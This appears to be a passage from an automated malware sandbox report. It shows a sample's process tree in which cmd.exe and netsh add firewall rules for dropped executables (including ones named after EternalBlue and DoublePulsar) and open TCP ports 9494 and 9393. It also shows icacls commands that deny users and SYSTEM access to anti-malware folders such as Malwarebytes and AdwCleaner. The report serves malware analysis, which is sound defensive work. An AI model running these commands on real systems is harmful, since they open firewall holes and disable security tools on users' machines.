                                                                                                                                                                                      PID:1512
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                                                                                                    2⤵
                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                    PID:3036
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                      netsh advfirewall firewall add rule name="Recovery Service" dir=in action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                                                                                                      3⤵
                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                      PID:1664
                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:4244
                                                                                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                        netsh advfirewall firewall add rule name="Shadow Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                                                                                                        3⤵
                                                                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                        PID:1660
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:4648
                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                          netsh advfirewall firewall add rule name="Security Service" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:2496
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                                                                                                        2⤵
                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                        PID:1020
                                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                          netsh advfirewall firewall add rule name="Recovery Services" dir=out action=allow program="C:\ProgramData\WindowsTask\MicrosoftHost.exe" enable=yes
                                                                                                                                                                                          3⤵
                                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                                          • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                          PID:1344
                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4468
                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                            netsh advfirewall firewall add rule name="Shadow Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
                                                                                                                                                                                            3⤵
                                                                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                            PID:4012
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1192
                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                              netsh advfirewall firewall add rule name="Security Services" dir=out action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
                                                                                                                                                                                              3⤵
                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                              PID:1084
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4816
                                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                netsh advfirewall firewall add rule name="Survile Service" dir=in action=allow program="C:\ProgramData\RealtekHD\taskhostw.exe" enable=yes
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                PID:2708
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:1460
                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                  netsh advfirewall firewall add rule name="System Service" dir=in action=allow program="C:\ProgramData\windows\rutserv.exe" enable=yes
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                                  • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                  PID:4648
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:212
                                                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                    netsh advfirewall firewall add rule name="Shell Service" dir=in action=allow program="C:\ProgramData\rundll\system.exe" enable=yes
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                                                    • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                    PID:5068
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:2884
                                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                      netsh advfirewall firewall add rule name="Script Service" dir=in action=allow program="C:\ProgramData\rundll\rundll.exe" enable=yes
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                      • Modifies Windows Firewall
                                                                                                                                                                                                      • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:2172
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:4212
                                                                                                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                        netsh advfirewall firewall add rule name="Micro Service" dir=in action=allow program="C:\ProgramData\rundll\Doublepulsar-1.3.1.exe" enable=yes
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                        PID:1864
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                      PID:1020
                                                                                                                                                                                                      • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                        netsh advfirewall firewall add rule name="Small Service" dir=in action=allow program="C:\ProgramData\rundll\Eternalblue-2.2.0.exe" enable=yes
                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                        • Modifies Windows Firewall
                                                                                                                                                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                        PID:4792
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:2620
                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:1192
                                                                                                                                                                                                          • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                            netsh advfirewall firewall add rule name="AllowPort1" protocol=TCP localport=9494 action=allow dir=IN
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                                                                                            • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                            PID:3556
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:3548
                                                                                                                                                                                                            • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                              netsh advfirewall firewall add rule name="AllowPort2" protocol=TCP localport=9393 action=allow dir=IN
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Modifies Windows Firewall
                                                                                                                                                                                                              • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                              PID:3096
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4816
                                                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                netsh advfirewall firewall add rule name="AllowPort3" protocol=TCP localport=9494 action=allow dir=out
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                PID:1776
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                              PID:3908
                                                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                netsh advfirewall firewall add rule name="AllowPort4" protocol=TCP localport=9393 action=allow dir=out
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                                                • Event Triggered Execution: Netsh Helper DLL
                                                                                                                                                                                                                PID:3520
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:5032
                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                  icacls "C:\Program Files (x86)\Microsoft JDX" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                  PID:1892
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:4540
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                    PID:880
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:512
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                      icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                      PID:2724
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:3152
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                        icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                        PID:1948
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:4356
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                          icacls "C:\Windows\svchost.exe" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                          PID:3868
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:1624
                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4212
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                              icacls "C:\Windows\svchost.exe" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                              PID:4032
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:1900
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                PID:1516
                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:3036
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                  icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                  PID:212
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:2928
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                    icacls "C:\Windows\Fonts\Mysql" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                    PID:1732
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                  PID:3328
                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5032
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                      icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                      PID:1948
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                    PID:1344
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                      icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                      PID:2696
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:3564
                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:3520
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                          icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                          PID:4548
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:4012
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                            icacls "C:\Program Files (x86)\Zaxar" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                            • Modifies file permissions
                                                                                                                                                                                                                                            PID:4640
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:1648
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                              icacls "C:\Program Files (x86)\Zaxar" /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                              PID:4268
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:1796
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                • Modifies file permissions
                                                                                                                                                                                                                                                PID:212
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:2172
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                  icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                  PID:4952
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:2840
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                    icacls c:\programdata\Malwarebytes /deny Admin:(F)
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                    PID:4048
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:2988
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                      icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:3868
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1892
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                        icacls C:\Programdata\MB3Install /deny Admin:(F)
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                        PID:2480
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:5092
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                          icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                          • Modifies file permissions
                                                                                                                                                                                                                                                          PID:212
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4396
                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                              PID:4012
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                              icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                              • Modifies file permissions
                                                                                                                                                                                                                                                              PID:688
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:4500
                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:4548
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                  icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                  PID:1132
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:868
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                    icacls "C:\Programdata\Driver Foundation Visions VHG" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                    PID:2944
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                  PID:3564
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                    icacls "C:\Programdata\Driver Foundation Visions VHG" /deny System:(OI)(CI)(F)
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                    • Modifies file permissions
                                                                                                                                                                                                                                                                    PID:1876
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:2724
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                      icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                      • Modifies file permissions
                                                                                                                                                                                                                                                                      PID:3004
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:2620
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                        icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                        • Modifies file permissions
                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                        PID:2060
